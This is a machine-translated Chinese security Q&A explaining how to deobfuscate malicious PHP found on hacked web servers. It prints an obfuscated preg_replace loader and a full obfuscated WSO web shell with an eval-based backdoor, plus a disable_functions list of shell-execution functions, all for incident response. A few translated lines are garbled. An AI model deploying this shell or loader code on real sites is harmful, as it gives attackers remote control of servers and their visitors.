我在我的服务器上发现了未知的 PHP 代码。如何对代码进行去混淆处理?

信息安全 php 事件响应 混淆 网站
2021-08-19 23:30:31

我们在这里收到了很多关于被黑客入侵的 PHP 文件的噪音,而且要花很多时间来回答这些问题。在许多情况下,它们是题外话。我们在信息安全元上对此进行了讨论,许多人希望这些帖子保留下来。

然而,几乎每一篇关于混淆 PHP 的帖子都可以用几乎相同的方式来回答。我认为我们可以将大多数对被黑文件进行去混淆处理的方法浓缩到一个问答线程中。

这导致了很多人都在问的问题:如何对在我的服务器上发现的恶意 PHP 代码进行去混淆处理,它是如何发生的,我该怎么办?!

2个回答

幸运的是,几乎所有的 PHP 脚本都可以使用 4 种简单的方法进行反混淆。我们将使用这四种方法来创建一个规范的答案。

在开始之前,让我们收集一些有助于对这些恶意文件进行反混淆的常用工具列表,以便我们自己完成工作。


有助于反混淆的常用工具

  1. 非PHP这极大地有助于对嵌套混淆超过 100 个嵌套函数的脚本进行去混淆处理。在许多情况下,这个网站以及类似的网站应该是您第一个访问的网站。但是,在某些情况下,UnPHP 无法对初始负载进行去混淆处理。在这些情况下,我们将列出的其他工具就足够了。
  2. PHP 美化器这是拆分单行文件的绝佳工具,否则很难阅读。
  3. Base64 解码器我正在链接到谷歌搜索这个。其中一些 Base64 网站看起来有点阴暗,所以如果您更喜欢使用离线版本而不访问这些网站,我为 Windows 准备了一个快速工具(获取Base64Decode.exe)。源代码也可用。
  4. PHP沙箱您也可以在 google 上查找其他沙盒。我们将echo在需要时使用它来运行命令。

常用的 PHP 函数

绝大多数黑客都使用某种形式的eval, 或preg_place, 或两者兼而有之:

  1. eval(). 可能是一个邪恶的函数,因为它允许任意执行 PHP 代码。只要在您的网站上发现此功能正在使用中,就可能表明您已被黑客入侵。
  2. preg_replace(). 经常用于eval()允许任意代码执行有很多很好的用途preg_replace(),但如果你不知道它是如何到达那里的,特别是如果它与混淆代码一起出现,那就清楚地表明你已经被黑客入侵了。
  3. 附加信息为了防止这个答案变得太大,我将链接到这个关于常用 PHP 函数的问题。
  4. 另外,请查看OWASP PHP 备忘单

虽然base64_decode我们遇到的几乎所有黑客都使用它,但它主要用作混淆层。


常见的混淆格式

黑客有几种不同的方式来混淆他们的代码。让我们列出一些常见的技术,以便我们知道如何发现它们然后解码它们:

  1. 十六进制编码您将在该表列表中查找HEX编号。在 PHP 中,这些可以用反斜杠 x 表示,后跟一个数字或字母。例子:
  • \x48 = H
  • \x34 = 4
  • \x78 = x

但是,它们不一定由表示\x他们也可以\#2.Unicode字符串与上面几乎相同,但\u#不是\x#. 例子:

  • \u004D = 米
  • \u0065 = e
  • \u0020= (空格)
  • \u0070 = p
  • \u006c = l
  • \u0073\ = 小号
  1. Base64 编码Base64 与上述混淆方法有点不同,但仍然相对容易解码。示例字符串:
  • SSBsaWtlIGRvbnV0cw== = 我喜欢甜甜圈
  • ZXZhbChiYXNlNjRfZGVjb2RlKCJoYXgiKSk7 = eval(base64_decode("hax"));
  • QXNzdW1pbmcgZGlyZWN0IGNvbnRyb2w= = 假设直接控制
  1. 存储在字符串中的垃圾,由 for 循环、正则表达式等分割你必须自己解码,因为它们差别很大。幸运的是,前面提到的许多方法应该可以帮助您这次去混淆。

我如何自己去混淆 PHP 文件?

因为我们无法帮助(我们可以,可以,但他们不会让我!:P)对每一个 PHP 恶意软件片段,最好教如何去做。

学习如何自己做这将帮助您了解更多关于 PHP 的知识,以及更多关于正在发生的事情。让我们使用我们的工具,并使用本网站上的两个 PHP 反混淆示例。


反混淆示例 #1

参考这个问题将代码复制并粘贴到UnPHP 中

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

你会看到它不会为我们去混淆它。真可惜。我们将不得不做一些额外的工作。请注意字符串及其连接。啊!它是如此丑陋和令人困惑!我们要如何处理这些字符串?这就是PHP 沙箱发挥作用的地方。

<?php
    echo "\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40" . "<br/>"; 
    echo "\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77" . "<br/>";
    echo "\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41" . "<br/>";
?>

现在我们已经回显了内容,我们可以重建它以获得以下结果:

<?php 
    preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));",
    "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; 
?>

注意字符串,L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc? 这看起来很像我们之前谈到的 Base64 编码!让我们尝试解码它,看看我们是否正确:

/home4/mitzvahc/public_html/assets/img/logo_small.png

在某种文本编辑器中打开 logo_small.png 文件后,我们会发现如下内容:

eval(gzuncompress(base64_decode("evil_payload")));

不好了!!!

如果你通过UnPHP运行文件内容,你应该得到你的解码结果。


反混淆示例 #2

参考这个问题

还记得我们之前提到的 ASCII 编码吗?看一下代码:

<?php 
    ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;
?>

让我们将其复制并粘贴到UnPHP中。一旦结果出来,我们终于可以看到它在做什么,但它看起来都被砸在一起了。让我们将它粘贴到PHP Beautifier中。现在它更容易阅读


去混淆变量名

如果您无法通过前面提到的任何方法对变量名进行反混淆,那么对这些变量名进行反混淆可能是一个手动且耗时的过程。幸运的是,寻找常见的恶意软件模式(例如关闭日志文件、使用eval()preg_replace()混淆)表明有问题。

混淆是错误的方法,因此如果您发现网站上的代码被混淆,您应该假设您已被黑客入侵。应该混淆你的代码。以牺牲可用性为代价的安全不是安全。


去混淆风险

尝试在您自己的 Web 服务器上解码这些文件是不安全的,原因有很多,其中一些我们可能不知道。不要尝试在您自己的 Web 服务器上对 PHP 文件进行反混淆处理。您可能会无意中引入额外的后门,或协助恶意软件自行传播,因为许多脚本远程加载功能。


这很好,但我是怎么被黑的?

如果我们无法访问您 Web 服务器上的所有内容(包括日志),这实在是太宽泛了,无法回答。

您的内容管理系统(CMS) 安装可能存在不正确的强化,或者您的 Web 堆栈中的某处可能存在漏洞。如果它们是您的 CMS 的一部分,您可以检查这些链接:

  1. Joomla 安全清单
  2. WordPress强化
  3. Drupal 安全清单

如果您的 CMS 未列出,请为您的 CMS 安装查找强化/安全检查表。如果您使用的不是CMS,而是您自己的代码,那么您可以自行修复安全漏洞。OWASP 备忘单是查找和修复常见漏洞的良好起点。请记住,只有可以阻止 shell 访问。

发生这种情况的原因可能有很多......但最重要的是:您的网络主机已被黑客入侵,或者您的网站上有漏洞,允许恶意个人插入额外的代码并让他们完全控制您的网站...与此同时,他们正在攻击您的访问者


那我该怎么办?!

您应该阅读此问答:如何处理受损的服务器?

马克的出色回答处理了混淆相对简单的情况。这解决了 99% 的情况,但有时您可能会遇到更恶意的事情,例如也使用源代码加密。执行代码(或至少部分代码)可能比手动对源代码进行逆向工程更快地找出代码正在做什么 - 但可能非常危险!您可以采取一些措施来控制/限制损害。

始终使用 vm 另请参阅此问题

禁用函数 PHP.ini 有一个disable_functions选项,它允许您选择性地阻止对特定功能位的访问。Mark 已经提到了 eval 和 preg_replace() (后者在 PHP 7 中被删除)但是流程执行函数也提供了一个有用的杠杆点:

  disable_functions=eval,preg_replace,exec,passthru,shell_exec\
    ,system,proc_open,popen,imap_open,pcntl_exec,pcntl_fork

使用 Runkit 扩展这允许您重新定义函数,包括 PHP 的内置函数。请注意,runkit 沙箱并非旨在提供太多隔离 - 它确实允许您以编程方式与在不同线程/环境中运行的 PHP 代码进行交互。